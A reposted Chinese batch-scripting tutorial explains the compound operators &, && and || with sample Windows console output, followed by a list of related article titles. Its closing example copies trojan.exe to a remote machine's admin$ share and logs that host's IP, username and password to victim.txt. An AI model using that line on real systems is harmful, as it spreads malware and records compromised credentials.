批处理教程3——如何使用组合命令
来源:互联网 发布:网络电视频道大表 编辑:程序博客网 时间:2024/05/23 09:35
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:/>dir z: & dir c:/Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:/Ex4rch
2002-05-14 23:51
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
Sample:
C:/>dir z: && dir c:/Ex4rch
The system cannot find the path specified.
C:/>dir c:/Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:/Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:/backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)
3.||
Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Sample:
C:/Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:/Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
- 批处理教程3——如何使用组合命令
- 批处理中 使用组合命令
- 批处理教程4——管道命令的使用
- 批处理教程1——简单批处理内部命令简介
- 批处理中的组合命令 &、&&、||
- Bat批处理命令使用教程(完整篇)
- Windows脚本 - Bat批处理命令使用教程
- Windows脚本 - Bat批处理命令使用教程
- 批处理教程2——如何在批处理文件中使用参数
- windows批处理命令教程
- 批处理FOR命令教程
- windows批处理命令教程
- windows批处理命令教程
- windows批处理命令教程
- Windows批处理命令教程
- windows批处理命令教程
- Windows批处理命令教程
- Windows批处理命令教程
- linux内核模块和驱动程序的编写
- 华友世纪CEO和CFO双双离职 盛大高管全面接管
- wmode属性的Opaque参数
- 螺旋队列最优算法的解法
- [转载]coldfusion 清SESSION
- 批处理教程3——如何使用组合命令
- 批处理教程4——管道命令的使用
- linux下QT4环境pdf的移植
- MM-安全库存{转载}
- 在线播放器的使用
- 批处理教程5——如何用批处理文件来操作注册表
- 在Flex中用Iframe嵌入HTML网页
- mobile6 电池驱动分析
- 批处理教程6——精彩实例放送